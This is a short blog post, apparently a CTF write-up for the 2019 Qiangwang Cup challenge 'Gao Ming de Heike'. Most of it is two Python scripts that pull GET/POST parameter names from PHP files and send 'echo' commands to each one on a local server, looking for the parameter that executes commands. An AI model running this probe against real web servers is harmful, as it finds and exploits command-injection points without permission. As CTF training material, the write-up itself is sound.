[强网杯 2019]高明的黑客

import re
import requests
import os
import threading
import time

file_path = "/Users/xxx/Desktop/src"
url = "http://127.0.0.1/xxx/src/"
requests.adapters.DEFAULT_RETRIES = 5
filenames=os.listdir(file_path)
s = requests.Session()
s.keep_alive = False
a=0

def req_rce(url,filename,para,type):
url1=url+filename+"?"+para+"=echo Tkitn;"
url2 = url + filename
if type=="GET":
req = s.get(url1)
if "Tkitn" in req.text:
print(type + "/" + filename + "?" + para)
global a
a = 1
else:
pass
#print("running")
elif(type=="POST"):
param={para:"echo Tkitn;"}
req=s.post(url2,data=param)
if "Tkitn" in req.text:
print(type + "/" + filename + "?" + para)

else:
pass
#print("running")
def getpara(file):
with open(file_path + "/" + file, 'r') as f:
lines = f.readlines()
for line in lines:
matchoj = re.search(r".*\$_(GET|POST)\[\'(.*)\'\]", line)
if matchoj is not None:
para = matchoj[2]
type = matchoj[1]
req_rce(url,file,para,type)

def main():
global key
start_time = time.time() # 开始时间
print("[start]程序开始:" + str(start_time))
thread_list = []
for fileName in filenames:
t = threading.Thread(target=getpara, args=(fileName,))
t.setDaemon(True)
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
if(not a):
t.join()
else:
pass

end_time = time.time()
print("[end]程序结束:用时(秒):" + str(end_time - start_time))


if __name__ == '__main__':
main()


脚本2(写文件)
import re
import requests
import os
import threading
import time

file_path = "/Users/xubowen/Desktop/src"
url = "http://127.0.0.1/Tkitn/src/"
requests.adapters.DEFAULT_RETRIES = 5
filenames=os.listdir(file_path)
s = requests.Session()
s.keep_alive = False

def setflag(flag):
    return flag

def req_rce(url,filename,para,type):
    url1=url+filename+"?"+para+"=echo Tkitn;"
    url2 = url + filename
    if type=="GET":
        req = s.get(url1)
        if "Tkitn" in req.text:
            flag=type+"/"+filename+"?"+para
            local_file = open("flag.txt", "w", encoding="utf-8")
            local_file.write(flag)
            local_file.close()
            setflag(0)
        else:
            print("running")
    elif(type=="POST"):
        param={para:"echo Tkitn;"}
        req=s.post(url2,data=param)
        if "Tkitn" in req.text:
            flag = type + "/" + filename + "?" + para
            local_file = open("flag.txt", "w", encoding="utf-8")
            local_file.write(flag)
            local_file.close()
            setflag(0)
        else:
            print("running")
def getpara(file):
    with open(file_path + "/" + file, 'r') as f:
        lines = f.readlines()
        for line in lines:
            matchoj = re.search(r".*\$_(GET|POST)\[\'(.*)\'\]", line)
            if matchoj is not None:
                para = matchoj[2]
                type = matchoj[1]
                req_rce(url,file,para,type)

def main():
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in filenames:
        t = threading.Thread(target=getpara, args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

    end_time = time.time()
    print("[end]程序结束:用时(秒):" + str(end_time - start_time))


if __name__ == '__main__':
    main()

 

 
posted @ 2020-09-08 23:46  Tkitn  阅读(454)  评论(0编辑  收藏  举报